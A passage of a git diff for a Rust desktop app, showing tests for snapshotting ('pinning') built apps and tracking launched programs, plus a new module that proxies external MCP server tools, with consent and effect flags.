lines.iter().skip(lines.len().saturating_sub(TAIL_LINES)).copied().collect::>().join("\n") +} + +/// What opening something did. +#[derive(Debug, Clone)] +pub enum Opened { + /// It was already running, and no other copy was asked for. + AlreadyRunning(Launched), + /// Started; `quit` when it ended within [`QUICK_EXIT`]. + Started { launched: Launched, quit: Option }, +} + +/// Programs started from pins and Play in this session, by the folder they run from. Starts +/// after a restart aren't known (a pin then shows as not running). +#[derive(Debug, Default)] +pub struct Runs(Mutex>>); + +/// One key per folder (case and slashes don't matter on Windows). +fn key(dir: &Path) -> String { + let s = dir.to_string_lossy(); + if cfg!(windows) { s.to_lowercase().replace('\\', "/").trim_end_matches('/').to_string() } else { s.trim_end_matches('/').to_string() } +} + +impl Runs { + /// What's still running from `dir`. + pub fn running(&self, dir: &Path) -> Vec { + let mut map = self.0.lock().unwrap_or_else(PoisonError::into_inner); + let k = key(dir); + let alive: Vec = map.get(&k).into_iter().flatten().filter(|l| l.is_running()).cloned().collect(); + if alive.is_empty() { + map.remove(&k); + } else { + map.insert(k, alive.clone()); + } + alive + } + + /// Start `launch` from `dir`, unless something already runs from there and `another` isn't + /// asked for. Waits up to [`QUICK_EXIT`] to see whether it quits straight away. + pub fn open(&self, dir: &Path, launch: Launch, another: bool) -> Result { + let launched = { + let mut map = self.0.lock().unwrap_or_else(PoisonError::into_inner); + let list = map.entry(key(dir)).or_default(); + list.retain(Launched::is_running); + if !another && let Some(first) = list.first() { + return Ok(Opened::AlreadyRunning(first.clone())); + } + let launched = launch.start_watched()?; + list.push(launched.clone()); + launched + }; + let quit = launched.wait_timeout(QUICK_EXIT); + Ok(Opened::Started { launched, quit }) + } + + /// Stop everything running from `dir`; how many were stopped. + pub fn stop(&self, dir: &Path) -> usize { + let list = self.0.lock().unwrap_or_else(PoisonError::into_inner).remove(&key(dir)).unwrap_or_default(); + list.iter().filter(|l| l.is_running()).filter(|l| l.stop()).count() + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::workspace::{CheckResult, TargetRef}; + + /// A project whose app is a Rust workspace with a built program, a dependency folder and a + /// file the app keeps beside itself. + fn built(dir: &Path) -> Workspace { + let mut ws = Workspace::create(dir, "Snake", "a snake game", TargetRef::None).unwrap(); + ws.manifest.checks.push(CheckResult::new("build", 3, true, "Build succeeded.")); + ws.save().unwrap(); + let app = ws.app_dir(); + std::fs::create_dir_all(app.join("src")).unwrap(); + std::fs::write(app.join("Cargo.toml"), "[package]\nname = \"snake\"\n[dependencies]\neframe = \"0.1\"\n").unwrap(); + std::fs::write(app.join("src/main.rs"), "fn main() {}").unwrap(); + std::fs::create_dir_all(app.join("assets")).unwrap(); + std::fs::write(app.join("assets/level.txt"), "####").unwrap(); + let release = app.join("target/release"); + std::fs::create_dir_all(release.join("deps")).unwrap(); + std::fs::write(release.join(exe("snake")), b"program").unwrap(); + std::fs::write(release.join("deps/big.rlib"), vec![0u8; 4096]).unwrap(); + std::fs::write(release.join("snake.pdb"), vec![0u8; 4096]).unwrap(); + std::fs::write(release.join(".cargo-lock"), "").unwrap(); + std::fs::create_dir_all(app.join(".git")).unwrap(); + std::fs::write(app.join(".git/HEAD"), "ref").unwrap(); + mark_program(&release.join(exe("snake"))); + ws + } + + fn exe(name: &str) -> String { + if cfg!(windows) { format!("{name}.exe") } else { name.to_string() } + } + + #[cfg(unix)] + fn mark_program(p: &Path) { + use std::os::unix::fs::PermissionsExt; + std::fs::set_permissions(p, std::fs::Permissions::from_mode(0o755)).unwrap(); + } + #[cfg(not(unix))] + fn mark_program(_: &Path) {} + + #[test] + fn recorded_program_paths_cannot_escape_the_pin() { + let d = tempfile::tempdir().unwrap(); + let ws = built(d.path()); + let mut pin = create(&ws, PinMode::Frozen, None, None, &mut |_, _| true).unwrap(); + assert_eq!(pin.program, Some(PathBuf::from("target/release").join(exe("snake")))); + for relative in [PathBuf::new(), PathBuf::from("../other"), d.path().join("outside")] { + pin.program = Some(relative); + assert_eq!(pin.launch(&ws, None).unwrap_err().code, ErrorCode::BadInput); + } + } + + #[test] + fn a_frozen_pin_copies_the_app_and_its_program_but_not_what_a_build_makes() { + let d = tempfile::tempdir().unwrap(); + let ws = built(d.path()); + let size = estimate(&ws, None).unwrap(); + let pin = create(&ws, PinMode::Frozen, None, None, &mut |_, _| true).unwrap(); + assert_eq!(pin.name, "Snake · round 3"); + assert_eq!(pin.bytes, size.bytes); + let copy = pin.app_dir(&ws); + assert!(copy.join("assets/level.txt").is_file()); + assert!(copy.join("target/release").join(exe("snake")).is_file(), "the program comes along"); + assert!(!copy.join("target/release/deps").exists(), "compiler output stays behind"); + assert!(!copy.join("target/release/snake.pdb").exists() && !copy.join("target/release/.cargo-lock").exists(), "and so do debug symbols"); + assert!(!copy.join(".git").exists()); + assert_eq!(crate::outputs::built_program(©), Some(copy.join("target/release").join(exe("snake")))); + assert_eq!(list(&ws), vec![pin.clone()]); + + // The project's build changes; the pin doesn't. + std::fs::write(ws.app_dir().join("assets/level.txt"), "....").unwrap(); + assert_eq!(std::fs::read_to_string(copy.join("assets/level.txt")).unwrap(), "####"); + + // It isn't copied with the project, and goes with it. + let dup = ws.duplicate("Snake 2").unwrap(); + assert!(!dup.root.join(PINNED).exists() && !dup.app_dir().join(PINNED).exists()); + ws.clone().delete().unwrap(); + assert!(!ws.root.join(PINNED).exists()); + } + + #[test] + fn pins_keep_obj_models_and_leave_out_managed_compiler_intermediates() { + const MODEL: &str = "o triangle\nv 0 0 0\nv 1 0 0\nv 0 1 0\nf 1 2 3\n"; + for mode in [PinMode::Frozen, PinMode::Light] { + let d = tempfile::tempdir().unwrap(); + let ws = built(d.path()); + let app = ws.app_dir(); + for folder in ["assets/obj", "assets/models"] { + std::fs::create_dir_all(app.join(folder)).unwrap(); + std::fs::write(app.join(folder).join("hero.obj"), MODEL).unwrap(); + } + for extension in ["csproj", "fsproj", "vbproj"] { + let project = app.join(extension); + std::fs::create_dir_all(project.join("obj")).unwrap(); + std::fs::write(project.join(format!("Game.{extension}")), "").unwrap(); + std::fs::write(project.join("obj/intermediate.bin"), [7; 256]).unwrap(); + } + let size = estimate(&ws, None).unwrap(); + let pin = create(&ws, mode, None, None, &mut |_, _| true).unwrap(); + let copy = pin.app_dir(&ws); + for folder in ["assets/obj", "assets/models"] { + assert!(copy.join(folder).join("hero.obj").is_file(), "{mode:?}: {folder} keeps its runtime model"); + assert_eq!(std::fs::read_to_string(copy.join(folder).join("hero.obj")).unwrap(), MODEL, "{mode:?}: {folder}"); + } + for extension in ["csproj", "fsproj", "vbproj"] { + assert!(copy.join(extension).join(format!("Game.{extension}")).is_file(), "the project source stays"); + assert!(!copy.join(extension).join("obj").exists(), "compiler intermediates stay behind"); + } + assert!(!copy.join("target/release/deps").exists()); + assert_eq!(pin.bytes + pin.shared_bytes, size.bytes, "the estimate includes both models"); + if mode == PinMode::Light { + assert_eq!(pin.shared_bytes, (2 * MODEL.len()) as u64, "both runtime models can be shared"); + } else { + assert_eq!(pin.shared_bytes, 0); + } + std::fs::remove_file(app.join("assets/obj/hero.obj")).unwrap(); + assert_eq!(std::fs::read_to_string(copy.join("assets/obj/hero.obj")).unwrap(), MODEL, "the pin survives removal from the project"); + } + } + + #[test] + fn a_pin_leaves_out_old_copies_of_its_program_but_keeps_helpers() { + let d = tempfile::tempdir().unwrap(); + let ws = built(d.path()); + let release = ws.app_dir().join("target/release"); + let before = estimate(&ws, None).unwrap(); + let program = |name: &str, body: &[u8]| { + let p = release.join(exe(name)); + std::fs::write(&p, body).unwrap(); + mark_program(&p); + }; + // What a build leaves when it replaces a program that was running, and two files that only + // look like one: a helper with nothing beside it, and a copy whose program is gone. + program("snake.running-144900", &[0u8; 4096]); + program("snake-tool.running-1", b"helper"); + program("ghost.running-7", b"gone"); + let after = estimate(&ws, None).unwrap(); + assert_eq!(after.files, before.files + 2, "the old copy isn't counted, the two others are"); + assert_eq!(after.bytes, before.bytes + 6 + 4, "and its size isn't either"); + let pin = create(&ws, PinMode::Frozen, None, None, &mut |_, _| true).unwrap(); + assert_eq!(pin.bytes, after.bytes); + let copy = pin.app_dir(&ws).join("target/release"); + assert!(copy.join(exe("snake")).is_file()); + assert!(!copy.join(exe("snake.running-144900")).exists(), "the old copy of the program is left out"); + assert!(copy.join(exe("snake-tool.running-1")).is_file(), "a helper with nothing it copies beside it stays"); + assert!(copy.join(exe("ghost.running-7")).is_file(), "a copy whose program is gone is all there is to run"); + } + + #[test] + fn a_light_pin_shares_media_and_survives_a_rebuild_replacing_or_deleting_them() { + let d = tempfile::tempdir().unwrap(); + let ws = built(d.path()); + let app = ws.app_dir(); + std::fs::write(app.join("assets/sky.PNG"), "old sky").unwrap(); + std::fs::write(app.join("assets/song.ogg"), "old song").unwrap(); + std::fs::write(app.join("assets/save.db"), "a save").unwrap(); + std::fs::write(app.join("target/release/icon.png"), "beside the program").unwrap(); + let size = estimate(&ws, None).unwrap(); + assert_eq!(size.bytes - size.light_bytes, 15, "the two media files, not the save or what's beside the program"); + let pin = create(&ws, PinMode::Light, Some(" Playable "), None, &mut |_, _| true).unwrap(); + assert_eq!((pin.name.as_str(), pin.bytes, pin.shared_bytes), ("Playable", size.light_bytes, 15)); + let copy = pin.app_dir(&ws); + assert_eq!(crate::outputs::built_program(©), Some(copy.join("target/release").join(exe("snake")))); + assert_eq!(list(&ws), vec![pin.clone()]); + + // What a program can write to, its program and its code are its own. + std::fs::write(app.join("assets/save.db"), "changed").unwrap(); + std::fs::write(app.join("assets/level.txt"), "....").unwrap(); + std::fs::write(app.join("target/release/icon.png"), "changed").unwrap(); + assert_eq!(std::fs::read_to_string(copy.join("assets/save.db")).unwrap(), "a save"); + assert_eq!(std::fs::read_to_string(copy.join("assets/level.txt")).unwrap(), "####"); + assert_eq!(std::fs::read_to_string(copy.join("target/release/icon.png")).unwrap(), "beside the program"); + + // A rebuild replaces a file (writing beside it, then renaming) or deletes it. + std::fs::write(app.join("assets/sky.new"), "new sky").unwrap(); + std::fs::rename(app.join("assets/sky.new"), app.join("assets/sky.PNG")).unwrap(); + std::fs::remove_file(app.join("assets/song.ogg")).unwrap(); + assert_eq!(std::fs::read_to_string(copy.join("assets/sky.PNG")).unwrap(), "old sky"); + assert_eq!(std::fs::read_to_string(copy.join("assets/song.ogg")).unwrap(), "old song"); + + delete(&ws, pin.id).unwrap(); + assert!(!pin.dir(&ws).exists()); + assert_eq!(std::fs::read_to_string(app.join("assets/save.db")).unwrap(), "changed", "removing a pin leaves the project alone"); + } + + #[test] + fn a_light_pin_shares_an_engines_imports_and_electrons_packages_but_copies_its_program() { + let d = tempfile::tempdir().unwrap(); + let ws = Workspace::create(d.path(), "Hop", "a game", TargetRef::None).unwrap(); + let app = ws.app_dir(); + std::fs::create_dir_all(&app).unwrap(); + std::fs::write(app.join("project.godot"), "config").unwrap(); + std::fs::create_dir_all(app.join(".godot/imported")).unwrap(); + std::fs::write(app.join(".godot/imported/sky.ctex"), "imported").unwrap(); + let godot = d.path().join("godot.exe"); + let pin = create(&ws, PinMode::Light, None, Some(&godot), &mut |_, _| true).unwrap(); + assert_eq!((pin.bytes, pin.shared_bytes), (6, 8), "project.godot copied, the import shared"); + + let ws = Workspace::create(d.path(), "Notes", "an app", TargetRef::None).unwrap(); + let app = ws.app_dir(); + std::fs::create_dir_all(&app).unwrap(); + std::fs::write(app.join("package.json"), r#"{"dependencies":{"electron":"1"}}"#).unwrap(); + let dist = app.join("node_modules/electron/dist"); + std::fs::create_dir_all(dist.join("resources")).unwrap(); + std::fs::create_dir_all(app.join("node_modules/lib")).unwrap(); + std::fs::write(app.join("node_modules/lib/index.js"), "12345").unwrap(); + std::fs::write(dist.join("resources/default.asar"), "123").unwrap(); + let program = if cfg!(target_os = "macos") { dist.join("Electron.app/Contents/MacOS/Electron") } else { dist.join(exe("electron")) }; + std::fs::create_dir_all(program.parent().unwrap()).unwrap(); + std::fs::write(&program, b"electron").unwrap(); + mark_program(&program); + let pin = create(&ws, PinMode::Light, None, None, &mut |_, _| true).unwrap(); + assert_eq!(pin.shared_bytes, 8, "the packages, not the program"); + assert!(pin.bytes >= 8); + } + + #[test] + fn a_live_pin_is_no_longer_made_and_an_old_one_still_opens_the_projects_app() { + let d = tempfile::tempdir().unwrap(); + let ws = built(d.path()); + assert_eq!(create(&ws, PinMode::Live, None, None, &mut |_, _| true).unwrap_err().code, ErrorCode::BadInput); + let old = read_pin(br#"{"id":2,"name":"A","mode":"live","created_ms":5}"#).unwrap(); + assert_eq!(old.app_dir(&ws), ws.app_dir()); + } + + #[test] + fn a_pin_of_an_app_edited_in_place_leaves_the_projects_records_out() { + let d = tempfile::tempdir().unwrap(); + let folder = d.path().join("mine"); + std::fs::create_dir_all(&folder).unwrap(); + std::fs::write(folder.join("notes.txt"), "mine").unwrap(); + let ws = Workspace::create_at(&folder, "Mine", "edit it", TargetRef::None, Some(crate::workspace::ExistingFiles::Edit)).unwrap(); + std::fs::write(folder.join("Cargo.toml"), "[package]\nname = \"mine\"\n").unwrap(); + std::fs::create_dir_all(folder.join("src")).unwrap(); + std::fs::write(folder.join("src/main.rs"), "fn main() {}").unwrap(); + std::fs::create_dir_all(folder.join("target/debug")).unwrap(); + std::fs::write(folder.join("target/debug").join(exe("mine")), b"program").unwrap(); + mark_program(&folder.join("target/debug").join(exe("mine"))); + let first = create(&ws, PinMode::Frozen, None, None, &mut |_, _| true).unwrap(); + let second = create(&ws, PinMode::Frozen, None, None, &mut |_, _| true).unwrap(); + assert_eq!((first.id, second.id), (1, 2)); + let copy = second.app_dir(&ws); + assert!(copy.join("notes.txt").is_file()); + assert!(!copy.join(crate::workspace::MANIFEST).exists(), "the project's records aren't part of the app"); + assert!(!copy.join(PINNED).exists(), "a pin never copies other pins"); + } + + #[test] + fn a_stopped_copy_leaves_nothing_behind_and_nothing_to_pin_is_refused() { + let d = tempfile::tempdir().unwrap(); + let ws = built(d.path()); + let e = create(&ws, PinMode::Frozen, None, None, &mut |_, _| false).unwrap_err(); + assert_eq!(e.code, ErrorCode::Cancelled); + assert!(list(&ws).is_empty()); + assert_eq!(std::fs::read_dir(ws.root.join(PINNED)).unwrap().count(), 0, "the half-made copy is gone"); + + let empty = Workspace::create(d.path(), "Empty", "nothing yet", TargetRef::None).unwrap(); + assert_eq!(create(&empty, PinMode::Frozen, None, None, &mut |_, _| true).unwrap_err().code, ErrorCode::NotFound); + } + + #[test] + fn pins_are_renamed_and_removed_and_unreadable_ones_skipped() { + let d = tempfile::tempdir().unwrap(); + let ws = built(d.path()); + let pin = create(&ws, PinMode::Frozen, None, None, &mut |_, _| true).unwrap(); + assert_eq!(rename(&ws, pin.id, "Best one").unwrap().name, "Best one"); + assert!(rename(&ws, pin.id, " ").is_err()); + std::fs::create_dir_all(ws.root.join(PINNED).join("7")).unwrap(); + std::fs::write(ws.root.join(PINNED).join("7").join(PIN_FILE), "{").unwrap(); + assert_eq!(list(&ws).len(), 1); + delete(&ws, pin.id).unwrap(); + assert!(list(&ws).is_empty() && !pin.dir(&ws).exists()); + assert_eq!(delete(&ws, pin.id).unwrap_err().code, ErrorCode::NotFound); + } + + #[test] + fn an_older_or_newer_pin_file_is_read() { + let old = read_pin(br#"{"id":2,"name":"A","mode":"live","created_ms":5}"#).unwrap(); + assert_eq!((old.version, old.mode, old.bytes), (PIN_VERSION, PinMode::Live, 0)); + assert_eq!(old.program, None); + let frozen = read_pin(br#"{"version":1,"id":3,"name":"Old copy","mode":"frozen","created_ms":5,"program":"formerly-unknown"}"#).unwrap(); + assert_eq!(frozen.version, PIN_VERSION); + assert_eq!(frozen.program, None, "the migration cannot invent the old pin's selected program"); + let newer = read_pin(br#"{"version":9,"id":2,"name":"A","mode":"frozen","created_ms":5,"colour":"red"}"#).unwrap(); + assert_eq!(newer.version, 9, "a newer pin keeps its version"); + assert!(read_pin(b"[]").is_err()); + } + + #[test] + fn the_end_of_a_log_is_its_last_lines() { + let d = tempfile::tempdir().unwrap(); + let log = d.path().join("run.log"); + let text: String = (0..100).map(|i| format!("line {i}\n")).collect(); + std::fs::write(&log, text).unwrap(); + let t = tail(&log); + assert!(t.starts_with("line 80") && t.ends_with("line 99"), "{t}"); + assert_eq!(tail(&d.path().join("none.log")), ""); + } + + fn shell(script: &str) -> Launch { + if cfg!(windows) { Launch::new("cmd").args(["/C", script]).hide_console() } else { Launch::new("sh").args(["-c", script]) } + } + + #[test] + fn one_copy_runs_per_folder_unless_another_is_asked_for() { + let d = tempfile::tempdir().unwrap(); + let runs = Runs::default(); + let long = if cfg!(windows) { "ping -n 30 127.0.0.1 > NUL" } else { "sleep 30" }; + let Opened::Started { quit: None, .. } = runs.open(d.path(), shell(long), false).unwrap() else { panic!("it should be running") }; + assert!(matches!(runs.open(d.path(), shell(long), false).unwrap(), Opened::AlreadyRunning(_))); + assert!(matches!(runs.open(d.path(), shell(long), true).unwrap(), Opened::Started { quit: None, .. })); + assert_eq!(runs.running(d.path()).len(), 2); + assert_eq!(runs.stop(d.path()), 2); + assert!(runs.running(d.path()).is_empty()); + + // A start that quits at once says so, and doesn't count as running. + let log = d.path().join("run.log"); + let Opened::Started { quit: Some(ended), .. } = runs.open(d.path(), shell("echo no window here && exit 4").log_to(&log), false).unwrap() else { + panic!("it should have quit") + }; + assert_eq!(ended.code, Some(4)); + assert!(tail(&log).contains("no window here")); + assert!(runs.running(d.path()).is_empty()); + } +} diff --git a/desktop/crates/engine/src/plugins.rs b/desktop/crates/engine/src/plugins.rs new file mode 100644 index 0000000..d74310c --- /dev/null +++ b/desktop/crates/engine/src/plugins.rs @@ -0,0 +1,346 @@ +//! Plugins: external MCP servers whose tools become REI Reverse Engineer tools, each server its own +//! toolset. A server is listed in `config.toml`: +//! +//! ```toml +//! [[plugins.mcp]] +//! id = "notes" # toolset id; tool ids become notes_ +//! command = "notes-mcp" +//! args = ["--stdio"] +//! consent = true # ask before each call (default): it runs someone else's code +//! +//! [[plugins.mcp]] +//! id = "docs" # a remote server (Streamable HTTP) +//! url = "https://mcp.example.com/mcp" +//! headers = { Authorization = "Bearer …" } +//! ``` +//! +//! Its tool list is cached (`plugins_refresh`), so starting the app or a CLI command never starts +//! every server; a server starts on its first call and stays up for the session. Results are +//! recorded as evidence from an external service. Effects come from the server's own tool +//! annotations, plus launching a process (local) or using the network (remote); `consent` adds +//! "runs foreign code", which asks first. `env` and `headers` values are never shown by +//! `settings_show` or `plugins_list`. + +use crate::registry::{RuntimeTool, custom_toolset}; +use crate::session::Session; +use crate::tool::{Ctx, Effects, Requires, ToolOutput}; +use craft_anything_engines::mcp_client::{McpClient, RemoteTool, Server, ServerCommand, ServerUrl, content_text, url_allowed}; +use craft_anything_evidence::{Authority, Confidence, Environment, ErrorCode, EvidenceBuilder, Subject, ToolError}; +use craft_anything_platform::sync::Mutex; +use serde::{Deserialize, Serialize}; +use serde_json::{Value, json}; +use std::collections::{BTreeMap, HashMap}; +use std::path::PathBuf; +use std::sync::{Arc, PoisonError}; +use std::time::Duration; + +/// How long a server may take to start and answer the handshake or its tool list. +pub const START_TIMEOUT: Duration = Duration::from_secs(60); +/// How long one call may take. +pub const CALL_TIMEOUT: Duration = Duration::from_secs(15 * 60); +/// Most tools one server may add. +const MAX_TOOLS: usize = 500; + +/// One configured MCP server. +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +pub struct McpPlugin { + /// Toolset id and tool-id prefix: lower-case letters, digits and `_`. + pub id: String, + /// The name people see (default: the id). + #[serde(default)] + pub name: Option, + /// The program of a local server (or `url` for a remote one). + #[serde(default, skip_serializing_if = "String::is_empty")] + pub command: String, + #[serde(default)] + pub args: Vec, + #[serde(default)] + pub env: BTreeMap, + #[serde(default)] + pub cwd: Option, + /// A remote server's address: `https://…`, or `http://` to this computer. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub url: Option, + /// Sent with every request to a remote server (e.g. `Authorization`). + #[serde(default, skip_serializing_if = "BTreeMap::is_empty")] + pub headers: BTreeMap, + #[serde(default = "yes")] + pub enabled: bool, + /// Ask before each call (it runs someone else's code). Default true. + #[serde(default = "yes")] + pub consent: bool, +} + +fn yes() -> bool { + true +} + +impl McpPlugin { + pub fn display_name(&self) -> &str { + self.name.as_deref().unwrap_or(&self.id) + } + + /// How to reach it: a remote `url`, else the local `command`. + pub fn server(&self) -> Server { + match self.remote_url() { + Some(url) => Server::Url(ServerUrl { url: url.to_string(), headers: self.headers.clone() }), + None => Server::Command(ServerCommand { command: self.command.clone(), args: self.args.clone(), env: self.env.clone(), cwd: self.cwd.clone() }), + } + } + + fn remote_url(&self) -> Option<&str> { + self.url.as_deref().map(str::trim).filter(|u| !u.is_empty()) + } + + /// What's wrong with it, if anything: its id, or not exactly one of `command` and `url`. + pub fn problem(&self) -> Option { + if !RuntimeTool::valid_id(&self.id) || custom_toolset(&self.id).is_none() { + return Some(format!("Plugin id {:?} must be lower-case letters, digits and _.", self.id)); + } + match (self.command.trim().is_empty(), self.remote_url()) { + (true, None) => Some(format!("The {} plugin needs a command (a local server) or a url (a remote one).", self.id)), + (false, Some(_)) => Some(format!("The {} plugin has both a command and a url; keep one.", self.id)), + (true, Some(u)) if !url_allowed(u) => Some(format!("The {} plugin's url must start with https:// (or http:// to this computer).", self.id)), + _ => None, + } + } + + /// Where it runs, for people: the url, or the command line. + pub fn place(&self) -> String { + match self.remote_url() { + Some(u) => u.to_string(), + None => std::iter::once(self.command.as_str()).chain(self.args.iter().map(String::as_str)).collect::>().join(" "), + } + } + + /// Where its tool list is cached, under a config folder ([`Session::config_dir`]). + pub fn cache_path(&self, config: &std::path::Path) -> PathBuf { + config.join("plugins").join(format!("{}.tools.json", self.id)) + } + + /// The tools cached by the last refresh (none before the first). + pub fn cached_tools(&self, config: &std::path::Path) -> Vec { + std::fs::read(self.cache_path(config)).ok().and_then(|b| serde_json::from_slice(&b).ok()).unwrap_or_default() + } +} + +/// `[plugins]` in config.toml. +#[derive(Debug, Clone, Default, PartialEq, Serialize, Deserialize)] +#[serde(default)] +pub struct PluginSettings { + pub mcp: Vec, + /// WASM component plugins (`crate::wasm_plugins`). + #[serde(skip_serializing_if = "Vec::is_empty")] + pub wasm: Vec, +} + +/// One proxied tool: which server, and the tool's name there. +struct Route { + server: String, + remote: String, +} + +/// The session's plugins: their settings, running clients and the tool routes. +#[derive(Default)] +pub struct Plugins { + servers: HashMap>)>, + routes: HashMap<&'static str, Route>, +} + +/// A remote tool name as part of our id: lower case, `_` for anything else, no repeats. +fn id_part(name: &str) -> String { + let mut out = String::new(); + for c in name.chars() { + let c = if c.is_ascii_alphanumeric() { c.to_ascii_lowercase() } else { '_' }; + if !(c == '_' && out.ends_with('_')) { + out.push(c); + } + } + out.trim_matches('_').to_string() +} + +/// What a remote tool may do, from its annotations (MCP's hints), plus starting a local server +/// or reaching a remote one. +fn effects_of(t: &RemoteTool, consent: bool, remote: bool) -> Effects { + let hint = |k: &str| t.annotations.get(k).and_then(Value::as_bool); + let mut e = Effects::MUTATES_SESSION | if remote { Effects::ACCESSES_NETWORK } else { Effects::LAUNCHES_PROCESS }; + if hint("readOnlyHint") != Some(true) { + e |= Effects::WRITES_FILESYSTEM; + } + if hint("destructiveHint") == Some(true) { + e |= Effects::MAY_DISCARD_DATA; + } + if hint("openWorldHint") != Some(false) || remote { + e |= Effects::ACCESSES_NETWORK; + } + if hint("idempotentHint") == Some(true) { + e |= Effects::IDEMPOTENT; + } + if consent { + e |= Effects::EXECUTES_FOREIGN_CODE; + } + e +} + +/// Read the configured plugins into `session` and return their (cached) tools for +/// [`crate::Engine::shared_with`]. A plugin with an invalid id, or a tool whose id clashes, is +/// skipped and logged. +pub fn install(session: &mut Session) -> Vec { + let mut plugins = Plugins::default(); + let mut tools = Vec::new(); + let config = session.config_dir(); + for p in session.settings.plugins.mcp.iter().filter(|p| p.enabled) { + if let Some(problem) = p.problem() { + log::error!("plugin skipped: {problem}"); + continue; + } + let Some(set) = custom_toolset(&p.id) else { continue }; + let remote = matches!(p.server(), Server::Url(_)); + for t in p.cached_tools(&config).into_iter().take(MAX_TOOLS) { + let mut id = format!("{}_{}", p.id, id_part(&t.name)); + id.truncate(64); + if !RuntimeTool::valid_id(&id) || tools.iter().any(|x: &RuntimeTool| x.id == id) { + log::error!("plugin {} tool {:?} skipped (its id {id:?} is invalid or taken)", p.id, t.name); + continue; + } + let schema = if t.input_schema.is_object() { t.input_schema.clone() } else { json!({"type": "object"}) }; + let leaked: &'static str = Box::leak(id.clone().into_boxed_str()); + plugins.routes.insert(leaked, Route { server: p.id.clone(), remote: t.name.clone() }); + tools.push(RuntimeTool { + id, + title: t.title.clone().unwrap_or_else(|| format!("{}: {}", p.display_name(), t.name)), + summary: t.description.clone().filter(|d| !d.trim().is_empty()).unwrap_or_else(|| format!("{} from the {} plugin.", t.name, p.display_name())), + beginner: format!("A tool from the {} plugin.", p.display_name()), + toolset: set, + effects: effects_of(&t, p.consent, remote), + requires: Requires::Nothing, + schema, + run: call_plugin, + }); + } + plugins.servers.insert(p.id.clone(), (p.clone(), Mutex::new(None))); + } + session.ext.insert(Arc::new(plugins)); + crate::wasm_plugins::install(session, &mut tools); + tools +} + +/// Start a server, list its tools and cache them. New tools are offered from the next start. +pub fn refresh(p: &McpPlugin, config: &std::path::Path) -> Result, ToolError> { + if let Some(problem) = p.problem() { + return Err(ToolError::invalid(problem).with_remediation("Fix it in config.toml ([[plugins.mcp]]).")); + } + let mut client = McpClient::connect(p.display_name(), &p.server(), START_TIMEOUT)?; + let tools = client.list_tools(START_TIMEOUT)?; + let path = p.cache_path(config); + if let Some(dir) = path.parent() { + std::fs::create_dir_all(dir).map_err(|e| ToolError::io(dir.display(), e))?; + } + let json = serde_json::to_vec_pretty(&tools).map_err(|e| ToolError::internal(e.to_string()))?; + crate::project::write_atomic(&path, &json)?; + Ok(tools) +} + +/// The function behind every proxied tool: route by [`Ctx::tool`], start the server if needed, +/// call it, and record the result as evidence. +fn call_plugin(ctx: &mut Ctx<'_>, params: Value) -> Result { + let plugins = ctx.session.ext.get::().ok_or_else(|| ToolError::internal("plugins aren't loaded in this session"))?; + let route = plugins.routes.get(ctx.tool).ok_or_else(|| ToolError::internal(format!("no plugin serves {}", ctx.tool)))?; + let (plugin, client) = plugins.servers.get(&route.server).ok_or_else(|| ToolError::internal(format!("plugin {} isn't loaded", route.server)))?; + let mut slot = client.lock().unwrap_or_else(PoisonError::into_inner); + if slot.is_none() { + ctx.report(None, format!("Starting the {} plugin…", plugin.display_name())); + *slot = Some(McpClient::connect(plugin.display_name(), &plugin.server(), START_TIMEOUT)?); + } + let Some(c) = slot.as_mut() else { return Err(ToolError::internal("plugin client missing")) }; + let cancel = ctx.cancel.clone(); + let args = if params.is_null() { json!({}) } else { params.clone() }; + let result = match c.call_tool(&route.remote, args, CALL_TIMEOUT, &move || cancel.is_cancelled()) { + Ok(r) => r, + Err(e) => { + // A server that died is started again on the next call. + if e.code == ErrorCode::EngineMissing { + *slot = None; + } + return Err(e); + } + }; + let text = content_text(&result); + let summary: String = if text.is_empty() { format!("{} answered.", plugin.display_name()) } else { text.chars().take(300).collect() }; + let env = Environment { + clean_room: ctx.session.clean_room(), + engine: format!("plugin:{}", plugin.id), + engine_version: None, + host: craft_anything_evidence::host_triple(), + language_id: None, + }; + let e = EvidenceBuilder::new(ctx.tool, Subject { kind: "plugin".into(), sha256: None, name: Some(plugin.display_name().to_string()) }, env) + .params(params) + .authority(Authority::OutsideService) + .confidence(Confidence::Observed) + .result(result) + .summary(summary) + .build()?; + Ok(ToolOutput::evidence(e)) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn remote_names_become_our_ids_and_annotations_our_effects() { + assert_eq!(id_part("Search Notes!"), "search_notes"); + assert_eq!(id_part("get-page__v2"), "get_page_v2"); + let t = |ann: Value| RemoteTool { name: "x".into(), title: None, description: None, input_schema: json!({}), annotations: ann }; + let read = effects_of(&t(json!({"readOnlyHint": true, "openWorldHint": false})), false, false); + assert!(!read.contains(Effects::WRITES_FILESYSTEM) && !read.contains(Effects::ACCESSES_NETWORK) && !read.needs_consent()); + let risky = effects_of(&t(json!({"destructiveHint": true})), true, false); + assert!(risky.contains(Effects::MAY_DISCARD_DATA) && risky.needs_consent(), "consent plugins ask first"); + assert!(effects_of(&t(Value::Null), false, false).contains(Effects::WRITES_FILESYSTEM), "no hints: assume it may write"); + let remote = effects_of(&t(json!({"readOnlyHint": true, "openWorldHint": false})), false, true); + assert!(remote.contains(Effects::ACCESSES_NETWORK) && !remote.contains(Effects::LAUNCHES_PROCESS), "a remote server uses the network"); + } + + #[test] + fn plugins_without_a_cache_add_no_tools_and_bad_ids_are_skipped() { + let mut s = crate::testing::session(); + s.settings.plugins.mcp = + vec![McpPlugin { id: "Bad Id".into(), ..plugin("x") }, McpPlugin { id: "never_refreshed_plugin_for_tests".into(), ..plugin("x") }]; + assert!(install(&mut s).is_empty()); + assert!(s.ext.get::().is_some()); + let parsed: PluginSettings = toml::from_str("[[mcp]]\nid = \"notes\"\ncommand = \"notes-mcp\"\n").unwrap(); + assert!(parsed.mcp[0].enabled && parsed.mcp[0].consent, "on and asking by default"); + } + + fn plugin(command: &str) -> McpPlugin { + McpPlugin { + id: "notes".into(), + name: None, + command: command.into(), + args: vec![], + env: BTreeMap::new(), + cwd: None, + url: None, + headers: BTreeMap::new(), + enabled: true, + consent: true, + } + } + + #[test] + fn a_plugin_is_local_or_remote_never_both() { + assert!(plugin("notes-mcp").problem().is_none()); + assert!(matches!(plugin("notes-mcp").server(), Server::Command(_))); + let remote = McpPlugin { url: Some("https://mcp.example.com/mcp".into()), ..plugin("") }; + assert!(remote.problem().is_none() && matches!(remote.server(), Server::Url(_))); + assert_eq!(remote.place(), 